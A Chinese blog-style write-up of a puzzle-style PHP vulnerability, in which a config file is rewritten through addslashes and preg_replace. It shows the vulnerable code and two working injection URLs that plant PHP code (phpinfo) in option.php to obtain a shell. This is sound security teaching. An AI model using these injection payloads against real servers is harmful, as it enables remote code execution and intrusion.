PHP正则配合写配置文件导致Getshell
PHP正则配合写配置文件导致Getshell,偶然间看到的一个题目, p 牛的小密圈的一个问题。
分析一下,漏洞代码:
index.php
<?php
$str=addslashes($_GET['option']);
$file=file_get_contents('option.php');
$file=preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
echo $file;
file_put_contents('option.php', $file);
?>
option.php
<?php
$option='';
?>
现在来分析一下代码:
- 对传入的 option 参数进行 addslashes ,比如有单引号 
',会变成\' - 通过正则匹配 option.php 中的 
$option='123';,将123的内容替换为经第一步处理的值。 - 替换完成,将其写入 option.php。
 
场景:写入配置文件。
方法一(利用正则的.*、单引号):
先访问:
http://127.0.0.1/test/index.php?option=123';%0aphpinfo();//
经过 addslashes 后,$str 值为 123\';%0aphpinfo();//
进行正则匹配并写入文件,option.php 的内容变为:
<?php
$option='123\';
phpinfo();//';
?>
再访问:
http://127.0.0.1/test/index.php?option=123
正则匹配时,会将两个单引号里的内容即 123\ ,替换为 123,此时 option.php 的内容变为
<?php
$option='';
phpinfo();//';
?>
最后访问:http://127.0.0.1/test/option.php
成功 Getshell

方法二(利用preg_replace的转义):
访问:
http://127.0.0.1/test/index.php?option=123\';phpinfo();//
经过 addslashes 后,$str 为 123\\\';phpinfo();//
虽然 addslashes 将\转义为\\但是经过preg_replace正则匹配处理后\\又变为了\ ,三个\\\变成了两个\\
所以最后写入文件option.php 的内容变为:
<?php
$option='123\\';phpinfo();//';
?>
访问:http://127.0.0.1/test/option.php
成功 Getshell

原文链接:http://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html
任重而道远!
PHP正则配合写配置文件导致Getshell的更多相关文章
- 漏洞:阿里云盾phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导致GETSHELL
		
阿里云盾提示phpMyAdmin <=4.8.1会出现漏洞有被SHELL风险,具体漏洞提醒: 标题 phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导 ...
 - JS利用正则配合replace替换指定字符
		
替换指定字符的方法有很多,在本文为大家详细介绍下,JS利用正则配合replace是如何做到的,喜欢的朋友可以参考下 定义和用法 replace() 方法用于在字符串中用一些字符替换另一些字符,或替换一 ...
 - $Django importlib与dir知识,手写配置文件, 配置查找顺序  drf分页器&drf版本控制
		
1 importlib与dir知识 # importlib简介动态导入字符串模块 # 常规导入 from ss.aa import b from ss import a print(b,type(b ...
 - 阿里云提出的漏洞(Phpcms V9某处逻辑问题导致getshell漏洞解决方法)的问题
		
最近从阿里云云盾检测流出来的,相比使用阿里云服务器的朋友已经收到漏洞提醒:Phpcms V9某处逻辑问题导致getshell漏洞解决方法,这个漏洞怎么办呢?CMSYOU在这里找到针对性解决办法分享给大 ...
 - WebApi 数据保护操作未成功。这可能是由于未为当前线程的用户上下文加载用户配置文件导致的。当线程执行模拟时,可能会出现此情况。","ExceptionType":"System.Security.Cryptography.CryptographicException","StackTrace
		
在调用System.Security.Cryptography.ProtectedData.Protect方法来保护私密信息时,IIS可能会报以下错误:CryptographicException: ...
 - android上如何写配置文件
		
android上如何写配置文件:使用SharedPreferences SharedPreferences是Android平台上一个轻量级的存储类,用来保存应用的一些常用配置,比如Activity状态 ...
 - 在spring boot使用总结(九) 使用yaml语言来写配置文件
		
yaml是专门用来写配置文件的语言.使用yaml来写配置文件扩展性比较强而且十分方便.spring boot支持使用yaml语言来写配置文件,使用snakeyaml库来读取配置文件.spring bo ...
 - 【代码审计】EasySNS_V1.6远程图片本地化导致Getshell
		
0x00 环境准备 EasySNS官网:http://www.imzaker.com 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/inde ...
 - 内存写越界导致破环堆结构引起的崩溃问题定位经验[如报错malloc(): memory corruption或free(): invalid next size]
		
前段时间开发的一个后端C模块上线后,线上出core,初始时,因为訪问压力不大,所以崩溃是上线3天左右出现的.当时用gdb跟进调用堆栈并检查源代码,发现出core位置的代码沒有啥问题.因为当时开发任务较 ...
 
随机推荐
- Mongo 3.6.1版本Sharding集群配置
			
Mongo低版本和高版本的sharding集群配置,细节不太一样.目前网上的配置文档大都是针对低版本的.本人在配置3.6.1版本的mongosharding集群的过程中,碰到不少问题,官方文档没有直观 ...
 - Behavior Designer 学习
			
http://www.opsive.com/ 简单Demo Sequence Selector Chase Enemy enemy:player:
 - Reactor/Proactor的比较 (ZZ)
			
一般情况下,I/O 复用机制需要事件分享器(event demultiplexor [1.3]). 事件分享器的作用,即将那些读写事件源分发给各读写事件的处理者,就像送快递的在楼下喊: 谁的什么东西送 ...
 - [转]从OSI网络模型到TCP/IP协议族简介
			
OSI七层模型 OSI(Open System Interconnection,开放系统互联)七层网络模型成为开放式系统互联参考模型,是一个把网络通信在逻辑上的定义,也可以理解成为定义了通用的网络通信 ...
 - taro 消息机制
			
Taro 提供了 Taro.Events 来实现消息机制,使用时需要实例化它 同时 Taro 还提供了一个全局消息中心 Taro.eventCenter 以供使用,它是 Taro.Events 的实例 ...
 - git add -A /git add -u/git add .的用法
			
git的指令详解 在git中有好多的指令,但是今天这几个指令就很容易忘记而且还容易混淆 git add -u <==> git add –update 提交所有被删除和修改的文件到数据暂存 ...
 - npm安装教程(vue.js)
			
https://www.cnblogs.com/goldlong/p/8027997.html 首先理清nodejs和npm的关系: node.js是javascript的一种运行环境,是对Googl ...
 - ElasticSearch(七)管理ES
			
发现,故障修复以及恢复 在发现节点,主要是使用ES的zen模块来进行发现,发现的目的就是加入集群,zen的发现有两种模式分别是单播和组播,单播是指配置好了要发现的节点IP,组播则是指不配置具体IP,向 ...
 - 关于 unsigned int 比较大小
			
unsigned int 的所有数都是 >=0 的.比如 unsigned int 的 -2 也是 > 0 的,所以不能用自己常用的 upt( ) { if( x<0 ) x+=mo ...
 - 洛谷 3295 [SCOI2016]萌萌哒——并查集优化连边
			
题目:https://www.luogu.org/problemnew/show/P3295 当要连的边形如 “一段区间内都是 i 向 i+L 连边” 的时候,用并查集优化连边. 在连边的时候,如果要 ...